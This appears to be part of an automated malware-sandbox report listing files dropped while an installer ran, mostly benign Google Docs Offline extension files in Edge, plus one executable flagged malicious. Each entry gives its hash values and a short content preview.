SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5188_1640264982\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\is-1VUQP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.366390963075317
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9X+:fGUhni7iSFCQGM
MD5:	A6837B868F2058E91AAD605F9FDC67C6
SHA1:	A509D384AB39762DDA2DAFCA998F8910E035B364
SHA-256:	77C0125A8D22903148B96E6CCB75D955155867D4F66E5A291232F394FEFE6AAE
SHA-512:	EFA49EB4ED37A426045388530BED17564B0DA231443F89B874C3586B51BD5D7DA365B9964255E9854249DAF705BB033E3B693D8AB29F5C24CBFF1FA4E9EA80B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp
